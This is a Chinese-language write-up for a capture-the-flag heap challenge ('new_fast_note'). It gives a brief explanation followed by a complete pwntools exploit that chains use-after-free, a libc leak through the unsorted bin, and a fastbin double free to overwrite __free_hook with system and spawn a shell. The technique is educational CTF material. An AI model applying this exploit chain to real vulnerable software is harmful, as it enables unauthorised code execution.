Problem: [HGAME 2023 week2]new_fast_note
[[toc]]
思路
又有UAF,又可以double free,还能相当自由地控制块大小,基本能利用的漏洞都能利用,甚至add时没有检测是否已存在,题目对申请个数的限制其实就等于没有。那么思路就很明了了,因为有tcache,所以我们要用7个0x90的块(超出fastbin大小的块)来先把这个大小的tcache填满,然后再释放一个0x90的块,这时候就能得到unsorted bin中一个chunk,然后我们就可以利用UAF来show出这个块中的内容,实际上unsorted bin的fd与bk域都一般指向main_arena+0x10处,main_arena的地址一般又在__malloc_hook+0x60处,这些都是在libc中东西,那么我们就可以计算处libc的基址,之后我们采用fastbin attack来申请到free_hook处的堆块,将其覆盖为system函数地址,再free掉一个内容为/bin/sh的堆块,就能getshell了。
EXP
from pwn import *
import time
context(arch="amd64",log_level="debug")
p = process("/mnt/c/Users/hp/Downloads/new_fast_note/vuln")
p = remote("node5.anna.nssctf.cn",21582)
elf = ELF("/mnt/c/Users/hp/Downloads/new_fast_note/vuln")
libc = ELF("/mnt/c/Users/hp/Downloads/new_fast_note/libc-2.31.so")
def add(index,size,content):
p.recvuntil(">")
p.sendline(b"1")
p.sendlineafter("Index:",str(index).encode())
p.sendlineafter("Size:",str(size).encode())
p.sendlineafter("Content:",content)
def delete(index):
p.recvuntil(">")
p.sendline(b"2")
p.sendlineafter("Index:",str(index).encode())
def show(index):
p.recvuntil(">")
p.sendline(b"3")
p.sendlineafter("Index:",str(index).encode())
def exit():
p.recvuntil(">")
p.sendline(b"4")
def get_addr(p):
return u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
for i in range(8):
add(i,0x90,b"AAAA")
add(19,0x20,b"AAAA") #防止合并
for i in range(8):
delete(i)
show(7)
main_arena = get_addr(p)
libc_base = main_arena - 0x70 - libc.sym["__malloc_hook"]
print(hex(libc_base))
free_hook = libc_base + libc.sym["__free_hook"]
system_add = libc_base + libc.sym["system"]
for i in range(7):
add(i,0x90,b"AAAA")
add(7,0x90,b"AAAA")
for i in range(7,16):
add(i,0x20,b"AAAA")
for i in range(7,14):
delete(i)
delete(14)
delete(15)
delete(14)
for i in range(7,14):
add(i,0x20,b"AAAA")
add(14,0x20,p64(free_hook))
add(15,0x20,b"/bin/sh\x00")
add(18,0x20,b"AAAA")
add(16,0x20,p64(system_add))
delete(15)
p.interactive()
总结
- 对该题的考点总结
